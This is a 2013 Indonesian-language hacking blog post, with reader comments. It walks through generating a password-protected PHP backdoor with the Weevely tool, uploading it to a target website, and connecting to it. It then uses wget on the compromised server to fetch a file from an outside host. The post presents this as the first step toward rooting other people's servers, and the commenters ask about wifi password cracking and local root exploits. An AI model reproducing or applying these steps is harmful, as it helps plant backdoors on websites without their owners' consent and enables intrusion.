• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Tutorial BackConnect Dengan Weevely | in Windows

August 30, 2013 by Jack Wilder 9 Comments

Meskipun baru nyoba tadi, saya share aja deh. Sekalian biar tutornya kesimpen di blog. Biar enak kalo mau nyari-nyari lagi. Hehehehehe. Agak pusing nyari tutor Back Connect rata rata suruh pakai Netcat . Nah, apesnya, mungkin karena saya yang bego, ditunggu sampai satu jam gak mau connect ke server, padahal command-command yang saya jalankan sudah betul 🙁
Oke langsung s aja, gak usah basa-basi :p .
Bagi yang belum punya, download dulu bahan-bahannya :
Python
Python Read Line
Weevely

Install semua bahan diatas.
Untuk Weevely, saya ekstrak di direktori C:toolsweevely . Jadi nanti command commandnya ngikutin sendiri ya :p
Pertama , buka CMD, arahkan ke folder tempat sobat mengekstrak weevely tadi .
cd C:toolsweevely
Lalu kita coba membuat file php dengan perintah main.py -g -o namashell.php -p password
contoh : main.py -g -o akicha.php -p akicha
Tunggu sampai proses selesai. Lihat SS :

Step 1

Buka folder weevely, pasti ada file akicha.php, lalu upload ke web target. Di public_html saja biar gampang

Step 2

Langkah ke tiga, masukkan command berikut :
main.py -t -u http://target.com/akicha.php -p akicha
Tunggu sampai proses selesai 🙂

Sip, backconnect sukses.
Simpel kan ? 😀
Bagaimana kok saya tau kalo backconnect sukses ?
Saya test dengan menggunakan fingsi wget
wget http://newbieakicha.tk/x.txt

Hasilnya ?
http://sitotis.net/x.txt

wew, orang ganteng >.<

Sebenarnya tutorial ini adalah awalan saat kita ingin melakukan roting . Cuman karena saya belum bisa rooting, tutorial cukup sampai disini saja :p . Doakan supaya cepat bisa ngeroot server :3

Filed Under: Uncategorized Tagged With: Hacking

Reader Interactions

Comments

  1. Anonim says

    August 31, 2013 at 2:01 am

    ini buat apa gan ?

    Reply
  2. cak oni says

    August 31, 2013 at 6:56 am

    Tutor yang jelas kang

    Reply
  3. Dicoba says

    August 31, 2013 at 7:34 am

    Semangat trus gan memberikan tutorial menarik…

    Reply
  4. NetterKu says

    August 31, 2013 at 7:35 am

    Backconnect itu maksudnya gimana ya gan,? klw boleh diberi keterangan dulu biar yg niewbie paham….

    Reply
    • chiaki says

      August 31, 2013 at 9:37 am

      kalo baca sampe tuntas + dipahami dong 🙂

      Reply
  5. GOLagu says

    August 31, 2013 at 7:36 am

    gan,
    kebetulan saya lagi cari info ttg hack paswordnya wifi, kira2 agan tahu tidak?? di blog ini ada tidak tutor nya.?

    Reply
  6. Hand_Java says

    September 2, 2013 at 9:22 am

    itu artinya kita sudah harus punya target yang tertanam shell
    untuk kernel yang 2013 apa bisa kang ??

    mohon penjelasaanya dikit lagi kang 😀
    sip dah tutornya 😀

    Reply
  7. chiaki says

    September 3, 2013 at 1:44 am

    ini cuma back connect pak.kek nya bisa di semua kernel asal di web sudah ada backdoor.

    Tp kalo kernel 2013 mungkin localroot nya yang susah nyari nya. hahah

    Reply
  8. Anonim says

    December 10, 2013 at 12:10 am

    keluar tulisan gini gan, itu gimana yaa??

    D:toolsweevely>main.py -t -u http://target/file.php -p password

    Weevely 0.3 – Generate and manage stealth PHP backdoors.
    Copyright (c) 2011-2012 Weevely Developers
    Website: http://code.google.com/p/weevely/

    ! No module named readline

    D:toolsweevely>

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Surge.sh Custom Domain or Subdomain Takeover

Cara Deface dengan Exploit Slims CMS Senayan Arbitrary File Upload Vulnerability

CVE-2019-13360 – CentOS Control Web Panel Authentication Bypass

bWAPP Remote File Inclusion Medium Security Level

Uptimerobot.com Custom Domain or Subdomain Takeover

Reverse Shell From Local File Inclusion Exploit

Hack Targeted Website using Reverse IP

Exploit Drupal Core 7.x Auto SQL Injection dan Upload Shell

Deface WordPress dengan Exploit Themes Qualifire File Upload Vulnerability

Deface WordPress dengan Exploit WordPress TheLoft Theme Arbitrary File Download Vulnerability

LinuxSec / 19 queries in 0.14 seconds